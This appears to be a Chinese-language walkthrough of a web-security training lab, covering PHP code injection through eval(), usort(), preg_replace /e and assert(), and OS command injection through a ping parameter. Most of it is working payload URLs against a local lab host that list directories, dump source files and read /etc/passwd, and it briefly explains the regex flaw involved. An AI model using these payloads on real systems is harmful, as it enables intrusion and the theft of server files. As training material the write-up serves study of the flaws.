7 代码注入
7.1
url为http://192.168.0.105/codeexec/example1.php?name=hacker内容是hello hacker
乍一看跨站或注入啊,先试试script
http://192.168.0.105/codeexec/example1.php?name=hacker 竟然成功了。
http://192.168.0.105/codeexec/example1.php?name=hacker 报错了。
Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1
看到了eval,可以在里面插入代码执行,代码应该使用双引号闭合的。php下执行操作系统命令是system()函数
先试试ls。
http://192.168.0.105/codeexec/example1.php?name=hacker".system(ls)." 先用双引号闭合,然后再用点连接字符串,在用一个双引号把后面的闭合,最后组合的字符串进入eval执行。成功获得本目录下的文件名。此处notice提示system的参数尽量用单引号括起来。
Notice: Use of undefined constant ls - assumed 'ls' in /var/www/codeexec/example1.php(6) : eval()'d code on line 1 example1.php example2.php example3.php example4.php index.html Hello hackerindex.html!!!
再试试cat自己
http://192.168.0.105/codeexec/example1.php?name=hacker".system('cat example1.php')." 右击查看源代码,成功获取example1.php的代码。
view-source:http://192.168.0.105/codeexec/example1.php?name=hacker%22.system(%27cat%20example1.php%27).%22
http://192.168.0.105/codeexec/example1.php?name=hacker".phpinfo();//
http://192.168.0.105/codeexec/example1.php?name=hacker${$}
7.2
url为http://192.168.0.105/codeexec/example2.php?order=id,内容与上面的注入一样是一个表。
上一句的跨站有惊喜,这句的注入也先试试
http://192.168.0.105/codeexec/example2.php?order=id' 报错后还是显示了表
Parse error: syntax error, unexpected T_CONSTANT_ENCAPSED_STRING in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22
http://192.168.0.105/codeexec/example2.php?order=id" 换双引号同样报错
Parse error: syntax error, unexpected '"' in /var/www/codeexec/example2.php(22) : runtime-created function on line 1 Warning: usort() expects parameter 2 to be a valid callback, no array or string given in /var/www/codeexec/example2.php on line 22
查一下usort()函数,通过用户自定义的比较函数对数组进行排序,而报错是提示usort()使用的自定义函数没有返回。说明order参数能直接进入usort的自定义函数,那么我们考虑闭合自定义函数后执行我们想执行的代码;
通过不断地尝试右括号、分号、右打括号的排列组合(其实是抄网上的),
http://192.168.0.105/codeexec/example2.php?order=age);}// 这一句是warning,说明闭合成功了。
http://192.168.0.105/codeexec/example2.php?order=age);}system('ls');// 成功列出目录
http://192.168.0.105/codeexec/example2.php?order=age);}system('cat example2.php');//
http://192.168.0.105/codeexec/example2.php?order=age);}phpinfo();//
http://192.168.0.105/codeexec/example2.php?order=age);}phpinfo();%23
7.3
url为http://192.168.0.105/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello lamer
显示还是hello hacker
通过不断给new、pattern和base三个参数的值变化,了解到后台思路是,先字符串存入base,然后用正则替换把base中的pattern替换成new,最终显示。
http://192.168.0.105/codeexec/example3.php?new=hacker&pattern=/lamer/&base=Hello lamer 当然跨站还是有的。
因为是代码执行,php中preg_replace()函数使用/e时是可以执行替换后的语句的。
直接把new换成可执行的,并把pattern加/e试试。
http://192.168.0.105/codeexec/example3.php?new=phpinfo();&pattern=/lamer/e&base=Hello lamer 成功了。
http://192.168.0.105/codeexec/example3.php?new=system('ls')&pattern=/lamer/e&base=Hello lamer
view-source:http://192.168.0.105/codeexec/example3.php?new=system(%27cat%20example3.php%27)&pattern=/lamer/e&base=Hello%20lamer
7.4
url为http://192.168.0.105/codeexec/example4.php?name=hacker显示hello hacker
先试试跨站吧
http://192.168.0.105/codeexec/example4.php?name=hacker 成功弹框,但也报错了。
Parse error: syntax error, unexpected T_STRING in /var/www/codeexec/example4.php(4) : assert code on line 1 Catchable fatal error: assert(): Failure evaluating code: 'hacker' in /var/www/codeexec/example4.php on line 4
看到使用了assert()函数,网上查了下,assert()函数与eval()函数类似,当函数参数是字符串时将执行字符串。
然后我们就是测试闭合问题了。经过多轮测试(在看了答案后),结果:
http://192.168.0.106/codeexec/example4.php?name=hacker'.system('ls');//
http://192.168.0.106/codeexec/example4.php?name=hacker'.phpinfo();//
8 命令注入
8.1
url 为http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1显示的是ping 127.0.0.1的内容,只ping了2次。
考虑到服务端代码可能为system("ping -c 2".$ip );
那么$ip用等符号间隔可再多执行些个命令,
可用;,,,&,&&,等,这其中有的需要第一个命令报错才执行第二个命令。
http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1;! ls
http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1;! cat example1.php
http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1;! cat /etc/passwd
http://192.168.1.109/commandexec/example1.php?ip=127.0.0.1%26%26cat /etc/passwd //%26是&的urlencode
http://192.168.1.109/commandexec/example1.php?ip=1127.0.0.1%26cat /etc/passwd
http://192.168.1.109/commandexec/example1.php?ip=1127.0.0.1cat /etc/passwd //ab,必须是a报错b才能执行。
8.2
url为http://192.168.1.109/commandexec/example2.php?ip=127.0.0.1,显示的与之前的一样。
先用;ls试,显示Invalid IP address,说明对ip提交的值进行了过滤,应该用了preg_grep等,希望使用了/m参数,用%0a进行截断试试。成功。
http://192.168.1.109/commandexec/example2.php?ip=127.0.0.1%0als
http://192.168.1.109/commandexec/example2.php?ip=127.0.0.1%0acat example2.php查看源代码
f (!(preg_match('/^\d\.\d\.\d.\d$/m', $_GET['ip']))) { die("Invalid IP address");//以后用preg千万别用/m,/e,但多用/i。
8.3
url为http://192.168.1.109/commandexec/example3.php?ip=127.0.0.1,显示的与之前的一样。
分别尝试了各种符号连接和%0a,包括把ip写成其它的,都显示ping通了。看源代码吧。
f (!(preg_match('/^\d\.\d\.\d.\d$/', $_GET['ip']))) { header("Location: example3.php?ip=127.0.0.1");
原来是如果ip不是ip地址格式,则跳转到ping 127.0.0.1,这个地方如果用burp抓吧,能抓到两个包。第一个包302,但是执行命令成功的,能把后续的ls或cat发回客户端,但马上被第二个正常ping的包覆盖后显示了。
领取专属 10元无门槛券
私享最新 技术干货